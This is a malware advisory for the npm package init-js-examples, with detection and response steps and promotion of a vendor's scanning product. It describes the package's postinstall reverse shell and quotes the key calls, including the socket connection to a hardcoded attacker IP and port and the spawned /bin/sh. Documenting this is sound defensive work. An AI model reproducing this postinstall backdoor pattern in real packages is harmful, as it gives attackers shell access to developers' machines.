init-js-examplesnpm
init-js-examples is a confirmed malicious npm package (MAL-2026-10996) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in init-js-examples (npm)
What this malware does
The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running npm install init-js-examples automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for init-js-examples (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging init-js-examples across your stack and pipelines.
If you installed it — respond
init-js-examples establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If init-js-examples was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks init-js-examples before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks init-js-examples-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.